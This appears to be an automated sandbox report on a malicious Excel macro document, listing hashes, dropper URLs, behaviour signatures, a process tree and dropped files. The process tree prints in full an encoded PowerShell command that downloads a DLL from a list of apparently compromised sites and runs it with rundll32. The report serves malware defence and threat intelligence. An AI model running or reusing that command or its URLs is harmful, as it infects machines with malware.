Analysis

  • max time kernel
    133s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-11-2024 20:51

General

  • Target

    223cd65775cc7ae7c51f008c979fdd81bf9334ac1510be4120b5a72f2e60830d.xls

  • Size

    144KB

  • MD5

    c1fa1f292a680c4b364f181a890b9d9b

  • SHA1

    f2c784cfcca452022d9e39fa8310e5ba6b93054b

  • SHA256

    223cd65775cc7ae7c51f008c979fdd81bf9334ac1510be4120b5a72f2e60830d

  • SHA512

    1c4157daf0ad7d97af5bed5505320e9df6c5d2acc2a2f98f94814057501f47962db58df72b74ce49ff91ae0aafcfea9692d3fefa308bd2e4f1c0f8d9579f2b53

  • SSDEEP

    3072:n7cKoSsxzNDZLDZjlbR868O8K0c03D38TehYTdeHVhjqabWHLtyeGx6Z84TIKGxG:7cKoSsxzNDZLDZjlbR868O8K0c03D389

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://althyplane.com/wp-admin/ELWa8YcOqlJn/

exe.dropper

http://dreamdancefactory.clnetworktv.com/zegsgpzq/CT75/

exe.dropper

http://ajkersomaj.com/wp-admin/ThBwKpUbIffmrepRg/

exe.dropper

http://1asehrgut.com/dup-installer/3vESrkJAS97l/

exe.dropper

http://dreamcityloveaffair.com/60bv5/RG9Kb1qRlQ/

exe.dropper

http://dreamproductionsfl.com/tmw8t/Szjjcj5mU1ZA/

exe.dropper

http://dreamcityimprov.com/d5759pd/yzbV45v1nY/

exe.dropper

http://delmarpropertyservices.com/nw1t8jj/NUrSuFyX6P/

exe.dropper

http://batumi4u.com/nwj7iw/jgiK2uwhsu/

exe.dropper

http://blasieholmen-staging.tokig.site/b/SOcGvzIi31HDg/

exe.dropper

http://climate.thecedarcentre.org/cgi-bin/3eseeNZ/

exe.dropper

http://changeyourcommunitynow.com/s1hf7qm/TqcrwYcOiqV8fWA/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\223cd65775cc7ae7c51f008c979fdd81bf9334ac1510be4120b5a72f2e60830d.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3580
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\programdata\cbjwektde.bat" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4740
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AYQBsAHQAaAB5AHAAbABhAG4AZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARQBMAFcAYQA4AFkAYwBPAHEAbABKAG4ALwAsAGgAdAB0AHAAOgAvAC8AZAByAGUAYQBtAGQAYQBuAGMAZQBmAGEAYwB0AG8AcgB5AC4AYwBsAG4AZQB0AHcAbwByAGsAdAB2AC4AYwBvAG0ALwB6AGUAZwBzAGcAcAB6AHEALwBDAFQANwA1AC8ALABoAHQAdABwADoALwAvAGEAagBrAGUAcgBzAG8AbQBhAGoALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFQAaABCAHcASwBwAFUAYgBJAGYAZgBtAHIAZQBwAFIAZwAvACwAaAB0AHQAcAA6AC8ALwAxAGEAcwBlAGgAcgBnAHUAdAAuAGMAbwBtAC8AZAB1AHAALQBpAG4AcwB0AGEAbABsAGUAcgAvADMAdgBFAFMAcgBrAEoAQQBTADkANwBsAC8ALABoAHQAdABwADoALwAvAGQAcgBlAGEAbQBjAGkAdAB5AGwAbwB2AGUAYQBmAGYAYQBpAHIALgBjAG8AbQAvADYAMABiAHYANQAvAFIARwA5AEsAYgAxAHEAUgBsAFEALwAsAGgAdAB0AHAAOgAvAC8AZAByAGUAYQBtAHAAcgBvAGQAdQBjAHQAaQBvAG4AcwBmAGwALgBjAG8AbQAvAHQAbQB3ADgAdAAvAFMAegBqAGoAYwBqADUAbQBVADEAWgBBAC8ALABoAHQAdABwADoALwAvAGQAcgBlAGEAbQBjAGkAdAB5AGkAbQBwAHIAbwB2AC4AYwBvAG0ALwBkADUANwA1ADkAcABkAC8AeQB6AGIAVgA0ADUAdgAxAG4AWQAvACwAaAB0AHQAcAA6AC8ALwBkAGUAbABtAGEAcgBwAHIAbwBwAGUAcgB0AHkAcwBlAHIAdgBpAGMAZQBzAC4AYwBvAG0ALwBuAHcAMQB0ADgAagBqAC8ATgBVAHIAUwB1AEYAeQBYADYAUAAvACwAaAB0AHQAcAA6AC8ALwBiAGEAdAB1AG0AaQA0AHUALgBjAG8AbQAvAG4AdwBqADcAaQB3AC8AagBnAGkASwAyAHUAdwBoAHMAdQAvACwAaAB0AHQAcAA6AC8ALwBiAGwAYQBzAGkAZQBoAG8AbABtAGUAbgAtAHMAdABhAGcAaQBuAGcALgB0AG8AawBpAGcALgBzAGkAdABlAC8AYgAvAFMATwBjAEcAdgB6AEkAaQAzADEASABEAGcALwAsAGgAdAB0AHAAOgAvAC8AYwBsAGkAbQBhAHQAZQAuAHQAaABlAGMAZQBkAGEAcgBjAGUAbgB0AHIAZQAuAG8AcgBnAC8AYwBnAGkALQBiAGkAbgAvADMAZQBzAGUAZQBOAFoALwAsAGgAdAB0AHAAOgAvAC8AYwBoAGEAbgBnAGUAeQBvAHUAcgBjAG8AbQBtAHUAbgBpAHQAeQBuAG8AdwAuAGMAbwBtAC8AcwAxAGgAZgA3AHEAbQAvAFQAcQBjAHIAdwBZAGMATwBpAHEAVgA4AGYAVwBBAC8AIgAuAFMAcABsAGkAdAAoACIALAAiACkAOwAgAGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1872
        • C:\windows\syswow64\rundll32.exe
          "C:\windows\syswow64\rundll32.exe" c:\programdata\1489616005.dll,f1415533450
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1392

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1d1exd2n.qxj.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    425e7b3e6f654b6d50c23aa9dcb17d5c

    SHA1

    a598b121d65a39548a76405ff09187d922ef74d3

    SHA256

    7b74a8b27509b66fe7fbd98586fa318d0f7ab72ae9232149768f6a846c501e1a

    SHA512

    80d857886e67a7e5f9f800bf0024d09fc7423f73bb73a3cb0ad8f42a9c0440439e5a34a3a07a3234cdc8b4be684a86c5e618b10a6bc09c7c01e411883d6869cd

  • C:\programdata\cbjwektde.bat

    Filesize

    3KB

    MD5

    a90319111c2f42a9c83a3a2bc2613d74

    SHA1

    bf1171da149442a511a946ded726b94c1ad7cf85

    SHA256

    763706fce04801df0720ca67b0905876ddf4f3fc1aedbbd1d032e96b227a6e51

    SHA512

    1358cf85166ea3a135425e7aa274ab66dd21605f3635c5260fd35e5134ef9698ea5b38df21721aaa72040d6f2506f5b3e926a72698dec56191d8079e3511ffe7

  • \??\c:\programdata\1489616005.dll

    Filesize

    78KB

    MD5

    8eab8e846d9b913068a1cf73cb18a28f

    SHA1

    5cc18dd51d120383a1636285e6b970d3bea2759e

    SHA256

    ef7071fc0722aaca21c7e41c378ecf4bb23296c882bebf9b4124ecde84ee0a35

    SHA512

    55fedff400d15d34b7a01cb252310bf95b5585cc1449993236ea9aed488182f6ae59f4575e74c4ffb65cda08721ac5e52d89d60b852aece37bc8c99fbf64a646

  • memory/1872-103-0x00007FFC10BD0000-0x00007FFC10DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/1872-92-0x00000282695F0000-0x0000028269D96000-memory.dmp

    Filesize

    7.6MB

  • memory/1872-86-0x0000028268880000-0x00000282688A2000-memory.dmp

    Filesize

    136KB

  • memory/1872-80-0x00007FFC10BD0000-0x00007FFC10DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3580-7-0x00007FFBD0C50000-0x00007FFBD0C60000-memory.dmp

    Filesize

    64KB

  • memory/3580-0-0x00007FFBD0C50000-0x00007FFBD0C60000-memory.dmp

    Filesize

    64KB

  • memory/3580-11-0x00007FFC10BD0000-0x00007FFC10DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3580-12-0x00007FFBCEA70000-0x00007FFBCEA80000-memory.dmp

    Filesize

    64KB

  • memory/3580-9-0x00007FFC10BD0000-0x00007FFC10DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3580-13-0x00007FFBCEA70000-0x00007FFBCEA80000-memory.dmp

    Filesize

    64KB

  • memory/3580-28-0x00007FFC10BD0000-0x00007FFC10DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3580-32-0x00007FFC10BD0000-0x00007FFC10DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3580-8-0x00007FFC10BD0000-0x00007FFC10DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3580-10-0x00007FFC10BD0000-0x00007FFC10DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3580-6-0x00007FFC10BD0000-0x00007FFC10DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3580-5-0x00007FFBD0C50000-0x00007FFBD0C60000-memory.dmp

    Filesize

    64KB

  • memory/3580-91-0x00007FFC10BD0000-0x00007FFC10DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3580-3-0x00007FFBD0C50000-0x00007FFBD0C60000-memory.dmp

    Filesize

    64KB

  • memory/3580-93-0x00007FFC10C6D000-0x00007FFC10C6E000-memory.dmp

    Filesize

    4KB

  • memory/3580-95-0x00007FFC10BD0000-0x00007FFC10DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3580-100-0x00007FFC10BD0000-0x00007FFC10DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3580-4-0x00007FFBD0C50000-0x00007FFBD0C60000-memory.dmp

    Filesize

    64KB

  • memory/3580-2-0x00007FFC10BD0000-0x00007FFC10DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/3580-1-0x00007FFC10C6D000-0x00007FFC10C6E000-memory.dmp

    Filesize

    4KB